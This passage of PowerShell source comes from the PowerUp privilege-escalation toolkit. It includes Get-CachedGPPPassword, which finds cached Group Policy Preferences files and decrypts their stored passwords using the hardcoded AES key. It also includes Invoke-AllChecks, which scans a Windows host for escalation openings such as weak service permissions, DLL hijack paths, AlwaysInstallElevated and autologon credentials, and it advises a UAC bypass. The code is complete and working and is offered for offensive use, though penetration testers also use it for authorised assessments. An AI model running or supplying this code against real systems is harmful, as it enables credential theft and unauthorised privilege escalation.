Get-CachedGPPPassword Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords. .EXAMPLE PS C:\> Get-CachedGPPPassword NewName : [BLANK] Changed : {2013-04-25 18:36:07} Passwords : {Super!!!Password} UserNames : {SuperSecretBackdoor} File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7 C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr oups.xml .LINK http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html #> [CmdletBinding()] Param() # Some XML issues between versions Set-StrictMode -Version 2 # make sure the appropriate assemblies are loaded Add-Type -Assembly System.Security Add-Type -Assembly System.Core # helper that decodes and decrypts password function local:Get-DecryptedCpassword { [CmdletBinding()] Param ( [string] $Cpassword ) try { # Append appropriate padding based on string length $Mod = ($Cpassword.length % 4) switch ($Mod) { '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} '2' {$Cpassword += ('=' * (4 - $Mod))} '3' {$Cpassword += ('=' * (4 - $Mod))} } $Base64Decoded = [Convert]::FromBase64String($Cpassword) # Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) # Set IV to all nulls to prevent dynamic generation of IV value $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) } catch {Write-Error $Error[0]} } # helper that parses fields from the found xml preference files function local:Get-GPPInnerFields { [CmdletBinding()] Param ( $File ) try { $Filename = Split-Path $File -Leaf [XML] $Xml = Get-Content ($File) $Cpassword = @() $UserName = @() $NewName = @() $Changed = @() $Password = @() # check for password field if ($Xml.innerxml -like "*cpassword*"){ Write-Verbose "Potential password in $File" switch ($Filename) { 'Groups.xml' { $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } 'Services.xml' { $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } 'Scheduledtasks.xml' { $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } 'DataSources.xml' { $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } 'Printers.xml' { $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } 'Drives.xml' { $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } } } foreach ($Pass in $Cpassword) { Write-Verbose "Decrypting $Pass" $DecryptedPassword = Get-DecryptedCpassword $Pass Write-Verbose "Decrypted a password of $DecryptedPassword" #append any new passwords to array $Password += , $DecryptedPassword } # put [BLANK] in variables if (-not $Password) {$Password = '[BLANK]'} if (-not $UserName) {$UserName = '[BLANK]'} if (-not $Changed) {$Changed = '[BLANK]'} if (-not $NewName) {$NewName = '[BLANK]'} # Create custom object to output results $ObjectProperties = @{'Passwords' = $Password; 'UserNames' = $UserName; 'Changed' = $Changed; 'NewName' = $NewName; 'File' = $File} $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties Write-Verbose "The password is between {} and may be more than one value." if ($ResultsObject) {Return $ResultsObject} } catch {Write-Error $Error[0]} } try { $AllUsers = $Env:ALLUSERSPROFILE if($AllUsers -notmatch 'ProgramData') { $AllUsers = "$AllUsers\Application Data" } # discover any locally cached GPP .xml files $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue if ( -not $XMlFiles ) { Write-Verbose 'No preference files found.' } else { Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." ForEach ($File in $XMLFiles) { Get-GppInnerFields $File.Fullname } } } catch {Write-Error $Error[0]} } function Invoke-AllChecks { <# .SYNOPSIS Runs all functions that check for various Windows privilege escalation opportunities. Author: @harmj0y License: BSD 3-Clause .PARAMETER HTMLReport Write a HTML version of the report to SYSTEM.username.html. .EXAMPLE PS C:\> Invoke-AllChecks Runs all escalation checks and outputs a status report for discovered issues. .EXAMPLE PS C:\> Invoke-AllChecks -HTMLReport Runs all escalation checks and outputs a status report to SYSTEM.username.html detailing any discovered issues. #> [CmdletBinding()] Param( [Switch] $HTMLReport ) if($HTMLReport) { #$HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" ConvertTo-HTML -Fragment -Pre "<H1>PowerUp Report for $($Env:ComputerName) - $($Env:UserName)</H1>`n<div class='aLine'></div>" | Out-File -Append $HtmlReportFile } # initial admin checks "`n[*] Running Invoke-AllChecks" $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") if($IsAdmin){ "[+] Current user already has local administrative privileges!" if($HTMLReport) { ConvertTo-HTML -Fragment -Pre "<H2>User Has Local Admin Privileges!</H2>" | Out-File -Append $HtmlReportFile } } else{ "`n`n[*] Checking if user is in a local group with administrative privileges..." $CurrentUserSids = Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID if($CurrentUserSids -contains 'S-1-5-32-544') { "[+] User is in a local group that grants administrative privileges!" "[+] Run a BypassUAC attack to elevate privileges to admin." if($HTMLReport) { ConvertTo-HTML -Fragment -Pre "<H2> User In Local Group With Administrative Privileges</H2>" | Out-File -Append $HtmlReportFile } } } # Service checks "`n`n[*] Checking for unquoted service paths..." $Results = Get-ServiceUnquoted $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>Unquoted Service Paths</H2>" | Out-File -Append $HtmlReportFile } "`n`n[*] Checking service executable and argument permissions..." $Results = Get-ModifiableServiceFile $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>Service File Permissions</H2>" | Out-File -Append $HtmlReportFile } "`n`n[*] Checking service permissions..." $Results = Get-ModifiableService $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>Modifiable Services</H2>" | Out-File -Append $HtmlReportFile } # DLL hijacking "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..." $Results = Find-PathDLLHijack $Results = $Results | Where-Object {$_} | Select-Object ModifiablePath, "%PATH%", Permissions, IdentityReference $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>%PATH% .dll Hijacks</H2>" | Out-File -Append $HtmlReportFile } # registry checks "`n`n[*] Checking for AlwaysInstallElevated registry key..." if (Get-RegistryAlwaysInstallElevated) { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'AbuseFunction' "Write-UserAddMSI" $Results = $Out $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>AlwaysInstallElevated</H2>" | Out-File -Append $HtmlReportFile } } "`n`n[*] Checking for Autologon credentials in registry..." $Results = Get-RegistryAutoLogon $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>Registry Autologons</H2>" | Out-File -Append $HtmlReportFile } "`n`n[*] Checking for modifiable registry autoruns and configs..." $Results = Get-ModifiableRegistryAutoRun $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>Registry Autoruns</H2>" | Out-File -Append $HtmlReportFile } # other checks "`n`n[*] Checking for modifiable schtask files/configs..." $Results = Get-ModifiableScheduledTaskFile $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>Modifiable Schtask Files</H2>" | Out-File -Append $HtmlReportFile } "`n`n[*] Checking for unattended install files..." $Results = Get-UnattendedInstallFile $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>Unattended Install Files</H2>" | Out-File -Append $HtmlReportFile } "`n`n[*] Checking for encrypted web.config strings..." $Results = Get-Webconfig | Where-Object {$_} $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>Encrypted 'web.config' String</H2>" | Out-File -Append $HtmlReportFile } "`n`n[*] Checking for encrypted application pool and virtual directory passwords..." $Results = Get-ApplicationHost | Where-Object {$_} $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>Encrypted Application Pool Passwords</H2>" | Out-File -Append $HtmlReportFile } "`n`n[*] Checking for plaintext passwords in McAfee SiteList.xml files...." $Results = Get-SiteListPassword | Where-Object {$_} $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>McAfee's SiteList.xml's</H2>" | Out-File -Append $HtmlReportFile } "`n" "`n`n[*] Checking for cached Group Policy Preferences .xml files...." $Results = Get-CachedGPPPassword | Where-Object {$_} $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Pre "<H2>Cached GPP Files</H2>" | Out-File -Append $HtmlReportFile } "`n" if($HTMLReport) { "[*] Report written to '$HtmlReportFile' `n" } } # PSReflect signature specifications $Module = New-InMemoryModule -ModuleName PowerUpModule $FunctionDefinitions = @( (func kernel32 GetCurrentProcess ([IntPtr]) @()) (func advapi32 OpenProcessToken ([Bool]) @( [IntPtr], [UInt32], [IntPtr].MakeByRefType()) -SetLastError) (func advapi32 GetTokenInformation ([Bool]) @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType()) -SetLastError), (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError), (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode), (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError) ) # https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ $ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{ QueryConfig = '0x00000001' ChangeConfig = '0x00000002' QueryStatus = '0x00000004' EnumerateDependents = '0x00000008' Start = '0x00000010' Stop = '0x00000020' PauseContinue = '0x00000040' Interrogate = '0x00000080' UserDefinedControl = '0x00000100' Delete = '0x00010000' ReadControl = '0x00020000' WriteDac = '0x00040000' WriteOwner = '0x00080000' Synchronize = '0x00100000' AccessSystemSecurity = '0x01000000' GenericAll = '0x10000000' GenericExecute = '0x20000000' GenericWrite = '0x40000000' GenericRead = '0x80000000' AllAccess = '0x000F01FF' } -Bitfield $SidAttributes = psenum $Module PowerUp.SidAttributes UInt32 @{ SE_GROUP_ENABLED = '0x00000004' SE_GROUP_ENABLED_BY_DEFAULT = '0x00000002' SE_GROUP_INTEGRITY = '0x00000020' SE_GROUP_INTEGRITY_ENABLED = '0xC0000000' SE_GROUP_MANDATORY = '0x00000001' SE_GROUP_OWNER = '0x00000008' SE_GROUP_RESOURCE = '0x20000000' SE_GROUP_USE_FOR_DENY_ONLY = '0x00000010' } -Bitfield $SID_AND_ATTRIBUTES = struct $Module PowerUp.SidAndAttributes @{ Sid = field 0 IntPtr Attributes = field 1 UInt32 } $TOKEN_GROUPS = struct $Module PowerUp.TokenGroups @{ GroupCount = field 0 UInt32 Groups = field 1 $SID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 32) } $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods' $Advapi32 = $Types['advapi32'] $Kernel32 = $Types['kernel32'] |